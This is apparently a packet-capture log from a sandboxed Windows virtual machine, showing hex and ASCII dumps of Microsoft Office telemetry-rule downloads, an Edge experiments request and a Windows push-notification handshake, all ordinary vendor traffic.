2024-11-23 23:06:37 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:37 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:37 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 20caaba8-701e-005c-0363-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230637Z-178bfbc474btrnf9hC1NYCb80g000000056000000000k6gh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:37 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:37 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:37 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 16d74281-d01e-0066-164b-3cea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230637Z-15b8b599d886w4hzhC1TEBb4ug00000003rg000000002say x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:37 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:38 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:38 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: f14fa7ac-201e-000c-4a8c-3a79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230638Z-174c587ffdf59vqchC1TEByk6800000003s000000000akwe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:39 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:38 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:39 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: e845eaf5-101e-008e-5d91-3bcf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230639Z-15b8b599d88l2dpthC1TEBmzr000000003m0000000006v4n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:39 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49793	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:39 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 6b 52 4a 62 51 65 64 2b 37 30 6d 72 58 58 78 4f 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 33 30 35 61 39 64 34 35 33 33 31 39 31 63 63 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: kRJbQed+70mrXXxO.1Context: 1305a9d4533191cc
2024-11-23 23:06:39 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-23 23:06:39 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 6b 52 4a 62 51 65 64 2b 37 30 6d 72 58 58 78 4f 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 33 30 35 61 39 64 34 35 33 33 31 39 31 63 63 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 66 41 73 38 55 6c 4d 30 77 38 36 50 6e 44 55 43 67 54 61 38 72 6f 6b 47 4a 50 6d 39 4a 51 58 46 73 52 54 58 4d 4b 68 36 77 41 46 33 6e 47 51 2b 7a 72 62 47 70 50 58 61 4c 49 58 42 76 67 79 37 52 6d 65 54 72 68 38 4b 70 31 45 73 50 79 44 37 39 78 66 56 57 6f 64 6b 2f 72 74 4a 48 63 55 34 79 6f 71 7a 30 6b 43 72 52 48 6d 57 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: kRJbQed+70mrXXxO.2Context: 1305a9d4533191cc<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAefAs8UlM0w86PnDUCgTa8rokGJPm9JQXFsRTXMKh6wAF3nGQ+zrbGpPXaLIXBvgy7RmeTrh8Kp1EsPyD79xfVWodk/rtJHcU4yoqz0kCrRHmW
2024-11-23 23:06:39 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 6b 52 4a 62 51 65 64 2b 37 30 6d 72 58 58 78 4f 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 33 30 35 61 39 64 34 35 33 33 31 39 31 63 63 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: kRJbQed+70mrXXxO.3Context: 1305a9d4533191cc<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-23 23:06:39 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-23 23:06:39 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 32 2b 51 62 34 4e 4b 37 6a 6b 4f 48 4c 76 45 56 48 57 41 45 44 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 2+Qb4NK7jkOHLvEVHWAEDQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:39 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:39 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: e83eb970-001e-0046-777e-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230639Z-174c587ffdfgcs66hC1TEB69cs00000003g0000000006dkq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:39 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:39 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:39 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: d277967d-801e-0047-0163-3b7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230639Z-178bfbc474bscnbchC1NYCe7eg00000005cg000000000352 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:39 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:39 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:39 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: ed66cbfc-201e-0051-7e30-3c7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230639Z-178bfbc474bwh9gmhC1NYCy3rs000000054g00000000hg5v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:40 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	49807	94.245.104.56	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:41 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 23:06:41 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Sat, 23 Nov 2024 23:06:40 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=4c3badee49d7a7bd1a84fc06a7fc4ce1fa385e6541e43b9f60ae9b9ee2cf1cd2;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=4c3badee49d7a7bd1a84fc06a7fc4ce1fa385e6541e43b9f60ae9b9ee2cf1cd2;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:41 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:41 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 171ae584-101e-005a-6763-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230641Z-178bfbc474bp8mkvhC1NYCzqnn00000004wg00000000gfr9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:41 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:41 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:42 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:41 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: ea4907c4-101e-0079-4064-3d5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230641Z-174c587ffdfx984chC1TEB676g00000003f000000000qm0a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
